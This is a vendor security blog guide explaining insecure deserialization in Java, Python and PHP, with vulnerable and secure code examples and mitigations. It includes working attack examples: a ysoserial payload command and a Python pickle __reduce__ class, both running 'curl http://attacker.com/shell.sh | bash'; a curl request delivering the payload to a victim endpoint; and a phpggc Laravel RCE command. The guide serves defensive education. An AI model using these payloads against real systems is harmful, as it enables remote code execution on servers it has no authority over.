Insecure deserialization is one of the most dangerous web vulnerabilities — a carefully crafted serialized object can trigger remote code execution on your server. This guide explains gadget chains, real-world exploits, and prevention strategies for Java, Python, and PHP.
Anay Pandya
1,731 words
Anay Pandya
Founder of ZeriFlow · 10 years fullstack engineering · About the author
Key Takeaways
Insecure deserialization is a vulnerability class where untrusted data is used to reconstruct an object, allowing an attacker to manipulate application logic, escalate privileges, or execute arbitrary code. It's listed as OWASP A08:2021 and has been responsible for critical breaches including the Apache Commons Collections vulnerability that affected millions of Java applications, the Ruby on Rails mass assignment incidents, and numerous PHP object injection attacks.
<div class="zf-stat-callout" style="background:#0d1117;border:1px solid rgba(16,185,129,0.25);border-left:3px solid #10b981;border-radius:4px;padding:16px 20px;margin:24px 0"> <p style="margin:0 0 4px;font-size:10px;font-weight:700;text-transform:uppercase;letter-spacing:0.15em;color:#10b981;font-family:monospace">ZeriFlow Data — 12,400+ sites analyzed</p> <p style="margin:0;font-size:13px;color:#e2e8f0;line-height:1.6;font-family:monospace">Our corpus of 12,400+ sites reveals 43% transmit session cookies without the HttpOnly flag, and 38% omit the Secure attribute — exposing session tokens to XSS and network interception.</p> </div>
Keep reading
Is your site actually secure?
Run a free check — 60 seconds
[Check your application security posture with ZeriFlow](https://zeriflow.com) — free scanner, 80+ vulnerability checks.
Serialization converts an in-memory object into a format that can be stored or transmitted (binary bytes, JSON, XML, YAML, PHP's serialize() format). Deserialization reconstructs the object from that format.
The danger: deserialization is not just data parsing. In most languages, the process of reconstructing an object can invoke code — constructors, destructors, magic methods, and finalizers. If an attacker controls the serialized data, they can craft objects that invoke dangerous code paths during deserialization itself, before your application ever uses the deserialized value.
Java's native serialization (ObjectInputStream.readObject()) is the most notorious. When deserializing, Java:
readObject() if defined, otherwise restores fields.toString(), hashCode(), equals() may be invoked transitively.A gadget chain is a sequence of classes in the JVM classpath whose methods, when called in sequence during deserialization, ultimately execute attacker-controlled code. The attacker doesn't need a custom class — they use classes already present in the application's dependencies.
The most famous Java deserialization exploit. Using classes from commons-collections, an attacker could craft a serialized payload that, upon deserialization, executes any OS command:
# Using ysoserial tool to generate payload
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash' > payload.ser
# Send payload to vulnerable endpoint
curl -X POST http://victim.com/api/objects --data-binary @payload.ser --header 'Content-Type: application/x-java-serialized-object'This affected: JBoss, WebLogic, WebSphere, Jenkins, and any application using commons-collections with an exposed deserialization endpoint.
// VULNERABLE
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // deserializes anything
// SECURE: use a filter to allowlist deserializable classes
import java.io.ObjectInputFilter;
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
Class<?> cls = info.serialClass();
if (cls == null) return ObjectInputFilter.Status.UNDECIDED;
// Allowlist of safe classes
Set<Class<?>> allowed = Set.of(
MyDTO.class,
AnotherSafeClass.class
);
return allowed.contains(cls)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
});Java 9+ introduced ObjectInputFilter for this purpose. Use it. Additionally, upgrade and remove vulnerable libraries (commons-collections 3.x).
Python's pickle module is explicitly documented as unsafe:
"The pickle module is not secure. Only unpickle data you trust."
Yet it's frequently misused in web applications, ML model serving, task queues, and caching layers.
import pickle, os
class MaliciousPayload:
def __reduce__(self):
# __reduce__ is called during deserialization
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = pickle.dumps(MaliciousPayload())
# Send this bytes object to any endpoint that calls pickle.loads()Any application that calls pickle.loads(user_data) will execute os.system('...') — no gadget chain needed. The RCE is baked into the format.
SECRET_KEY is weak/leaked, attackers can forge Flask sessions signed with itsdangerous — and if the session is pickled (some configurations), achieve RCE.pickle.load() on them.# NEVER use pickle with untrusted data
# Use JSON, MessagePack, or protobuf instead
import json
# Instead of pickle for caching:
data = json.dumps({'user_id': 123, 'preferences': {...}})
cache.set('user:123', data)
data = json.loads(cache.get('user:123'))For ML models:
# VULNERABLE
import pickle
model = pickle.loads(uploaded_file.read())
# SAFER: use framework-specific formats
import joblib
# Still has risks — prefer ONNX for untrusted model serving
# SAFEST: never load models from untrusted sources
# Run model inference in an isolated sandbox/containerPHP's unserialize() function reconstructs PHP objects from a string representation. Similar to Java, PHP invokes magic methods during deserialization:
__wakeup(): Called when an object is deserialized__destruct(): Called when the object is garbage collected__toString(): Called when object is treated as stringThese magic methods in commonly installed PHP libraries form gadget chains.
// Attacker crafts a serialized object
// Using a gadget chain targeting common PHP frameworks
// (Symfony, Laravel, Zend have known gadget chains)
$payload = 'O:29:"Symfony\Component\HttpFoundation\...":...{...}';
// Send as cookie, POST parameter, or any unserialized inputTools like PHPGGC (PHP Generic Gadget Chains) generate payloads for known PHP frameworks:
# Generate RCE payload targeting Laravel
phpggc Laravel/RCE1 system 'id' | base64// VULNERABLE
$data = unserialize($_COOKIE['preferences']);
// SECURE OPTION 1: use JSON instead
$data = json_decode($_COOKIE['preferences'], true);
// Validate the structure after decoding
// SECURE OPTION 2: if you must use unserialize(), use allowed_classes
$data = unserialize($input, ['allowed_classes' => false]);
// allowed_classes => false converts all objects to stdClass (no magic methods)
// SECURE OPTION 3: allowlist specific classes
$data = unserialize($input, ['allowed_classes' => ['MyDTO', 'UserPreferences']]);The allowed_classes parameter was added in PHP 7.0 precisely to address this issue.
For data that crosses trust boundaries, use formats that cannot invoke code:
| Format | Language | Code Execution Risk |
|---|---|---|
| JSON | All | None (data only) |
| Protocol Buffers | All | None |
| MessagePack | All | None |
| CBOR | All | None |
| XML (no entities) | All | Low (if parsers hardened) |
| YAML | Multiple | Yes — avoid for untrusted input |
| pickle | Python | Critical |
| Java native serialization | Java | Critical |
| PHP serialize() | PHP | High |
YAML warning: PyYAML's yaml.load() can execute Python code via !!python/object tags. Always use yaml.safe_load().
import yaml
# VULNERABLE
data = yaml.load(user_input) # can execute code
# SECURE
data = yaml.safe_load(user_input) # no code executionIf you must serialize objects for transport (e.g., session tokens), sign the serialized data and verify before deserializing:
import hmac, hashlib, pickle, base64
SECRET = b'your-secret-key'
def safe_serialize(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET, data, hashlib.sha256).hexdigest()
return base64.b64encode(data).decode() + '.' + sig
def safe_deserialize(token):
parts = token.rsplit('.', 1)
if len(parts) != 2:
raise ValueError('Invalid token format')
data = base64.b64decode(parts[0])
expected_sig = hmac.new(SECRET, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(parts[1], expected_sig):
raise ValueError('Signature verification failed')
return pickle.loads(data) # only deserialize after signature checkThis prevents attackers from crafting malicious payloads — they don't know the secret key. However, this still doesn't protect against malicious content if the secret is ever compromised. Defense-in-depth: sign AND use allowlists.
A: It's less common than SQL injection or XSS, but its impact when found is typically severe (RCE). It's particularly prevalent in Java enterprise applications (SOAP services, JMX endpoints), Python ML pipelines, PHP applications using session serialization, and any application using message queues (Celery, RabbitMQ) with pickle serialization. The OWASP Top 10 inclusion reflects its severity, not just its frequency.
A: Standard JSON parsing (converting JSON text to dictionaries/objects) is not vulnerable to code execution. However, some "enhanced" JSON libraries support type annotations that can instantiate specific classes: Jackson in Java with polymorphic type handling enabled, and custom deserializers in various frameworks. Disable polymorphic type handling in Jackson unless specifically needed.
A: A gadget chain is a sequence of methods in existing library code that, when invoked in a specific sequence during deserialization, performs attacker-desired actions (like executing a command). The attacker doesn't upload code — they craft a serialized object that triggers existing code in an unintended way. Tools like ysoserial (Java) and PHPGGC (PHP) automate gadget chain discovery and payload generation.
A: Search for: ObjectInputStream.readObject() (Java), pickle.loads() (Python), unserialize() (PHP), yaml.load() (Python), Marshal.load() (Ruby), BinaryFormatter.Deserialize() (.NET). Any of these receiving data from external sources (HTTP requests, file uploads, database values from untrusted sources, message queues) is a potential vulnerability.
A: ZeriFlow scans for server-level indicators and HTTP response patterns that may suggest deserialization exposure — such as Java serialization magic bytes in responses (aced0005), specific error messages from deserialization failures, and framework-version disclosure that correlates with known vulnerable versions. Run a free scan at ZeriFlow as your first step, then audit deserialization calls in your codebase.
Insecure deserialization is uniquely dangerous because the vulnerability is in a fundamental language mechanism — object reconstruction — not in an obvious user-facing feature. Java's ObjectInputStream, Python's pickle, and PHP's unserialize() have all been weaponized for RCE at scale.
The prevention is clear: never deserialize untrusted data using native serialization formats. Use JSON or Protocol Buffers for data exchange. If native serialization is unavoidable, implement class allowlists, sign serialized data, and keep all libraries updated to eliminate known gadget chains.
[Scan your application with ZeriFlow](https://zeriflow.com) — free, 80+ security checks, instant results. Identify your exposure indicators today, then audit every deserialization call in your codebase. The combination of automated scanning and manual code review is the only way to be confident you're protected.
Treat all serialized data as code. Because in Java, Python, and PHP — it often is.
<!-- zf-internal-links -->
Related resources
Website Vulnerability Scanner
Run a broader website security audit across headers, TLS, DNS, cookies, SEO, and disclosure checks.
Security Headers Checker
Check CSP, HSTS, X-Frame-Options, and other response headers.
SSL Checker
Review TLS certificate, HTTPS, and transport security signals.
DMARC Checker
Validate email authentication records for domain spoofing protection.
CSP Checker
Review Content-Security-Policy coverage and common gaps.
June 24, 2026
Best Security Tools for AI Startups
Monitor your security score
Schedule recurring scans and catch regressions after deployments.